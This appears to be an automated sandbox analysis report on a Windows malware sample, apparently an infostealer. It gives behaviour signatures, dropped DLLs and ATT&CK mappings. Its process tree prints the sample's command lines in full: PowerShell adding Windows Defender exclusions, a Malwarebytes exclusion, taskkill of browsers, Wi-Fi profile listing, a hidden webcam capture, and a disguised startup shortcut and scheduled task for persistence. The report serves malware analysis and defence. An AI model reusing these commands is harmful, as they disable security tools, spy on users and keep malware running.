Overview

overview

9

Static

static

3

Aganiga3213.exe

windows10-2004-x64

9

Analysis

  • user interaction
    yes
  • max time kernel
    8s
  • max time network
    18s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/10/2026, 16:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Aganiga3213.exe
  • Size 16.3MB
  • Sample261003-trzfaascqd
  • SHA256 8fe5e656f76f172c0cfb213897116d85bd1573f8057838f87a7d1b5926e4e283
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionpersistence

Malware Config

Signatures

  • Looks for VirtualBox drivers on disk 2 TTPs 3 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Looks for VMWare drivers on disk 2 TTPs 3 IoCs
    defense_evasion
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 28 IoCs
  • Checks for any installed AV software in registry 1 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 6 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 8 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Aganiga3213.exe
    "C:\Users\Admin\AppData\Local\Temp\Aganiga3213.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2516
    • C:\Users\Admin\AppData\Local\Temp\Aganiga3213.exe
      "C:\Users\Admin\AppData\Local\Temp\Aganiga3213.exe"
      2⤵
      • Looks for VirtualBox drivers on disk
      • Looks for VMWare drivers on disk
      • Checks BIOS information in registry
      • Loads dropped DLL
      • Checks for any installed AV software in registry
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:4620
      • C:\Windows\SYSTEM32\tasklist.exe
        tasklist /FO CSV /NH
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Aganiga3213.exe', 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows', 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionExtension '.exe', '.dll', '.py' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'Aganiga3213.exe', 'WinUpdate.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4532
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Program Files\Malwarebytes\Anti-Malware\mbam.exe" /exclude C:\Users\Admin\AppData\Local\Temp\Aganiga3213.exe"
        3⤵
        • Executes a command shell one-liner
        PID:2144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-CimInstance Win32_ComputerSystem).Manufacturer + ' ' + (Get-CimInstance Win32_ComputerSystem).Model"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-CimInstance Win32_BIOS).Manufacturer + ' ' + (Get-CimInstance Win32_BIOS).SerialNumber"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        PID:3772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name -join ', '"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        PID:2216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        PID:2256
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name -join ', '"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3740
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM chrome.exe
        3⤵
        • Kills process with taskkill
        PID:4116
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM msedge.exe
        3⤵
        • Kills process with taskkill
        PID:2724
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM brave.exe
        3⤵
        • Kills process with taskkill
        PID:4872
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM opera.exe
        3⤵
        • Kills process with taskkill
        PID:1940
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM opera_gx.exe
        3⤵
        • Kills process with taskkill
        PID:4524
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM vivaldi.exe
        3⤵
        • Kills process with taskkill
        PID:4260
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM firefox.exe
        3⤵
        • Kills process with taskkill
        PID:2984
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM yandex.exe
        3⤵
        • Kills process with taskkill
        PID:4420
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name -join ', '"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:3972
      • C:\Windows\SYSTEM32\ipconfig.exe
        ipconfig /all
        3⤵
        • Gathers network information
        PID:3620
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "Get-CimInstance -Query 'SELECT CommandLine FROM Win32_Process WHERE Name LIKE \"%Java%\"' | Select-Object -ExpandProperty CommandLine"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4484
      • C:\Windows\SYSTEM32\netsh.exe
        netsh wlan show profiles
        3⤵
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:3812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -WindowStyle Hidden -Command " Add-Type -AssemblyName System.Windows.Forms $wia = New-Object -ComObject WIA.CommonDialog try { $img = $wia.ShowAcquireImage(2) if ($img) { $path = \"$env:TEMP\kedus_cam.jpg\" $img.SaveFile($path) Write-Output $path } } catch {} "
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command "$s = (New-Object -ComObject WScript.Shell).CreateShortcut(\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinUpdate.lnk\");$s.TargetPath = \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinUpdate.exe\";$s.WindowStyle = 7;$s.Save()"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:1900
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /Create /TN WinUpdateCheck /TR C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinUpdate.exe /SC ONLOGON /RL HIGHEST /F
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2708
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
    1⤵
      PID:1904
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinUpdate.exe
      1⤵
        PID:1804

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            3
            T1059

            PowerShell

            1
            T1059.001

            Windows Command Shell

            1
            T1059.003

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Persistence

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Virtualization/Sandbox Evasion

            2
            T1497

            Credential Access

            Discovery

            File and Directory Discovery

            2
            T1083

            Peripheral Device Discovery

            1
            T1120

            Process Discovery

            1
            T1057

            Query Registry

            2
            T1012

            Software Discovery

            1
            T1518

            Security Software Discovery

            1
            T1518.001

            System Information Discovery

            3
            T1082

            System Network Configuration Discovery

            3
            T1016

            Internet Connection Discovery

            1
            T1016.001

            Wi-Fi Discovery

            1
            T1016.002

            Virtualization/Sandbox Evasion

            2
            T1497

            Lateral Movement

            Collection

            Command and Control

            Web Service

            1
            T1102

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            _SHA256.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI0000070c2\Crypto\Hash\_SHA256.pyd
            • Size 21KB
            • SHA256 2d57abc0274265d2ab891fba840c05a34831f61ab5c21d0540fc43bd28cc5ae3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            VCRUNTIME140.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\VCRUNTIME140.dll
            • Size 174KB
            • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            VCRUNTIME140_1.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\VCRUNTIME140_1.dll
            • Size 48KB
            • SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _asyncio.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\_asyncio.pyd
            • Size 76KB
            • SHA256 f9594a2a4f45570dbfdf1f3471194ae7b27dc117c54b9af6bc22df9c93830f8b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _bz2.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\_bz2.pyd
            • Size 86KB
            • SHA256 b938073c85cf6b9fe80556d7899ed1901e5e60b7adea2832442376239fb36b36
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _ctypes.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\_ctypes.pyd
            • Size 139KB
            • SHA256 408cc4e7a22ffa418ca52f5e13fe9268a3c50a2bc9de02b0530b555ef591bc5a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _lzma.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\_lzma.pyd
            • Size 157KB
            • SHA256 d2abf8db7fb0cf6285663b177991691a41b37e215c3d71fd087a98d8ec1bee63
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _zstd.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\_zstd.pyd
            • Size 491KB
            • SHA256 33c6eca99470c3eb9d776b617c550ad41b002a668336f062a9ab7be677a7409a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-console-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-console-l1-1-0.dll
            • Size 22KB
            • SHA256 56a3c8ec50eedef1f5024696ef928cb2a0f5d8b40c8a122cba412944dae81c46
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-datetime-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-datetime-l1-1-0.dll
            • Size 22KB
            • SHA256 e91b155e01b98aa4466b94da39e04c379f2fd392c154e7b6d80c05e0476f0552
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-debug-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-debug-l1-1-0.dll
            • Size 22KB
            • SHA256 2117e4953f5ec36adff21a416db5ff5f9ff27ea5f70b71b2e7d87897979b34e1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-errorhandling-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-errorhandling-l1-1-0.dll
            • Size 22KB
            • SHA256 ce83855b81333be8ca07a70700bff553dfb94869637dfe529bc8ef64094032be
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-fibers-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-fibers-l1-1-0.dll
            • Size 22KB
            • SHA256 5fae6d3fa0df3ac9a0171654062b6518b56bc586ab03d8a05e9cd4a112628934
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-file-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-file-l1-1-0.dll
            • Size 26KB
            • SHA256 be54476a0d4394d8ca6a5943b6425569403a1a7e939cf9b4948319b450022b45
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-file-l1-2-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-file-l1-2-0.dll
            • Size 22KB
            • SHA256 87cd5dac0ad2c7f6d64a51c58bc6fb9f2b207fe4966dcf47dd83728b0e439a75
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-file-l2-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-file-l2-1-0.dll
            • Size 20KB
            • SHA256 f957a4c261506484b53534a9be8931c02ec1a349b3f431a858f8215cecfec3f7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-handle-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-handle-l1-1-0.dll
            • Size 22KB
            • SHA256 5ae3a6e15f6a47f78b59f8a24334ffc88e8de05664c4c04d6243921ecba16325
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-heap-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-heap-l1-1-0.dll
            • Size 22KB
            • SHA256 5f8dca9ec0204453ad8e31b8f36226fef8342c36d3a07b15bcece301bc7f24cd
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-interlocked-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-interlocked-l1-1-0.dll
            • Size 22KB
            • SHA256 bdad0c627f722de797917a9ebbb02acc0669c44326f64ba5fc1f8d6c2d978128
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-libraryloader-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-libraryloader-l1-1-0.dll
            • Size 22KB
            • SHA256 b17a00e4640a1d5a91c1b1ddf0465ba04ffc2ac5404e37d02b56ba7d2fabbced
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-localization-l1-2-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-localization-l1-2-0.dll
            • Size 22KB
            • SHA256 4b5c4d32550d6ec0715c6cf651e9c1bbccb01bffa72e082a0ae04251800d43a1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-memory-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-memory-l1-1-0.dll
            • Size 22KB
            • SHA256 47817a21044295a18907f13cd9f2705f9a21579f80fa6d3f7bf22e00607189fe
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-namedpipe-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-namedpipe-l1-1-0.dll
            • Size 22KB
            • SHA256 64896c2ca9b8da6c6c327602000f1f6d95e49e6f8df06929176a319cc2aa985e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-processenvironment-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-processenvironment-l1-1-0.dll
            • Size 22KB
            • SHA256 8df2ab621406d2905a330df3955db715965c2c097061345ad94dafab1b04ef00
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-processthreads-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-processthreads-l1-1-0.dll
            • Size 22KB
            • SHA256 a0299f1564ea8aeeff67226b6d2f9b9802aab877c9b89c82d50377ca2a12dba9
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-processthreads-l1-1-1.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-processthreads-l1-1-1.dll
            • Size 22KB
            • SHA256 fe33f48a34243481782742168b24f344485527327534f7e05c60ba5420715387
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-profile-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-profile-l1-1-0.dll
            • Size 22KB
            • SHA256 2f506ccb47a0513d16b3dece9ed1a0459b796fdb96e40d8967dc84e7d4e36954
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-rtlsupport-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-rtlsupport-l1-1-0.dll
            • Size 22KB
            • SHA256 4335d1e4051cc16aee5745b1ae9027e1e710f41972faefc57c065f2166209853
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-string-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-string-l1-1-0.dll
            • Size 22KB
            • SHA256 4c8b4993badf3d843f57638b5f82e98769d3c7e0bd524d999ec2c720013a2fdf
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-synch-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-synch-l1-1-0.dll
            • Size 22KB
            • SHA256 a7e2c7177f10d6d35ed2cc79ce71eb979ba69a348f19237121ddac7d61103ebe
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-synch-l1-2-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-synch-l1-2-0.dll
            • Size 22KB
            • SHA256 6ff6a5b89c6ccc33a8f99fef4abb83b760c3d6e5be20d4805d95720f67b86876
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-sysinfo-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-sysinfo-l1-1-0.dll
            • Size 22KB
            • SHA256 881b7e57388edbf8a167bc7e7714286e9fed54b981479fa540c218aab049a81e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-timezone-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-timezone-l1-1-0.dll
            • Size 22KB
            • SHA256 c886fd30abe580e0bdb29b9e3cb50872159d1c62bcf03355b28850176f1258aa
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-core-util-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-core-util-l1-1-0.dll
            • Size 22KB
            • SHA256 26a32ca4e6a5f853a371f1fff7c4b7cd90288f4364921fbd4b11cbff697767a2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-conio-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-conio-l1-1-0.dll
            • Size 22KB
            • SHA256 988e14fa33743956ca182c1ef033c09427d60f2b0132803b8548e28ca0378b7c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-convert-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-convert-l1-1-0.dll
            • Size 26KB
            • SHA256 fa445d728c70db47340907cf12dff8893fd249b738594a1825248211b8ec0dca
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-environment-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-environment-l1-1-0.dll
            • Size 22KB
            • SHA256 e2e562ec0ab4be342962e7e885cba380c3143bcbf83fcaff9269f26b2b448e24
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-filesystem-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-filesystem-l1-1-0.dll
            • Size 22KB
            • SHA256 f4a1f0ad4fde3752cf7dc6f3058e4c502546aad9029c8bd78ae1ee4cbe37922a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-heap-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-heap-l1-1-0.dll
            • Size 22KB
            • SHA256 998294783016c09345cb2dd0f18163fb9bf469edb4954b1408e99f673c60d9f7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-locale-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-locale-l1-1-0.dll
            • Size 22KB
            • SHA256 2376c1ef50f84a2b0e49e66c0e4c2b24e0c48a4d85450fc74ce77ff02f58fea5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-math-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-math-l1-1-0.dll
            • Size 30KB
            • SHA256 9e1441afa2e6b3cb88c234fd43755fb2716d7266944239e93a8b3722f44ba792
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-process-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-process-l1-1-0.dll
            • Size 22KB
            • SHA256 df4a913f1708ccc03b9f41f69cf563a9c57bebaba18262fbc377584a2c2bbb9c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-runtime-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-runtime-l1-1-0.dll
            • Size 26KB
            • SHA256 3e95f9a63c2c742c43138b731966d4cfa6c922bdcff3e2958fe24e4bdf6e5461
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-stdio-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-stdio-l1-1-0.dll
            • Size 26KB
            • SHA256 21a5efa2bdf4a89e06b7dad84aa990412e054bac9befd198c05dd6add93b8430
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-string-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-string-l1-1-0.dll
            • Size 26KB
            • SHA256 05a910f254a8eae65c0f032ec7740afacb8439f87a64d53f9b8ebd66304b3b68
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-time-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-time-l1-1-0.dll
            • Size 22KB
            • SHA256 4a90e5b2f3fb45b6a92581a39d3b62948a588a360d449554d8cae1a40b009114
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            api-ms-win-crt-utility-l1-1-0.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\api-ms-win-crt-utility-l1-1-0.dll
            • Size 22KB
            • SHA256 88ce66919d551efa7a0430f1188b558c41532c363258c1f07a05e2b67d603208
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            base_library.zip
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\base_library.zip
            • Size 1.3MB
            • SHA256 cea48bfc55a9ec32c356733c25f68700cfeb1efe55fc460e37c66eaaa31f111c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libcrypto-3.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\libcrypto-3.dll
            • Size 6.0MB
            • SHA256 53c529145339fb042a3dcd3a09c2d7753204f8b4fc79d99e0d31e69a33985958
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libffi-8.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\libffi-8.dll
            • Size 38KB
            • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libssl-3.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\libssl-3.dll
            • Size 1.3MB
            • SHA256 b17a87979862d19241edc4318f967e24c3ec356ed6c2368f561179fab2311001
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            pyexpat.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\pyexpat.pyd
            • Size 217KB
            • SHA256 e34347c4e11b2ecc57df2ce1627ba7f98fd076e9df59951e9034f5aa8e95a2fc
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python314.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\python314.dll
            • Size 6.5MB
            • SHA256 0f9857ffdfe010fe6b99328d58c2e3c7472ce75f336bf9c2ad9bd5bca3bce700
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            select.pyd
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\select.pyd
            • Size 32KB
            • SHA256 722328e7fad8048057fc966474ba73966d2ceebaa32e7344cce09640ab4dc9bd
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            sqlite3.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\sqlite3.dll
            • Size 1.5MB
            • SHA256 d3e60dd22e62c9fbdb64b31b1b8c48782e1d4958d04d0bf830cffd31ace3275f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ucrtbase.dll
            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000009d42\ucrtbase.dll
            • Size 1.1MB
